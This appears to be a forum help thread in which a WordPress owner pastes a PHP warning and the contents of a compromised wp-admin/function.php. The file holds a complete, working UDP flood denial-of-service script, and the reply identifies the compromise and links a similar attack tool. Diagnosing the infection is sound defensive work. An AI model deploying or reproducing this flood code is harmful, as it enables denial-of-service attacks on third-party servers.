fsockopen() [function.fsockopen]: unable to connect to

Question

I have problem with fsockopen. My site works normal, but when I log in into admin panel (wordpress), I got this error message all over my screen: Warning: fsockopen() [function.fsockopen]: unable to connect to udp://:0 (Failed to parse address "") in /home/visit014/public_html/wp-admin/function.php on line 32

Code of wp-admin/function.php is here:

`<?php



//=================================================

//PHP DOS v1.8 (Possibly Stronger Flood Strength)

//Coded by EXE

//www.ZeroDayExile.com

//=================================================



$packets = 0;

$ip = $_POST['ip'];

$rand = $_POST['port'];

set_time_limit(0);

ignore_user_abort(FALSE);



$exec_time = $_POST['time'];



$time = time();

print "Flooded: $ip on port $rand <br><br>";

$max_time = $time+$exec_time;







for($i=0;$i<65535;$i++){

        $out .= "X";

}

while(1){

$packets++;

        if(time() > $max_time){

                break;

        }



        $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

        if($fp){

                fwrite($fp, $out);

                fclose($fp);

        }

}

echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";

?>

`

anyone can help me? I see that it has been similar problems, but not one with functions.php so the code is different. Please help me. Thanks!

Your functions.php have been compromised and altered. And someone is using your website to attack other people. It should not contain any such code, reupload a clean version of the script and you should be good.

A very similar script can be found here, and it is used to issue flood attacks to an victim. https://code.google.com/p/php-dos-attacker/downloads/detail?name=php-dos-attacker-1.2b.zip
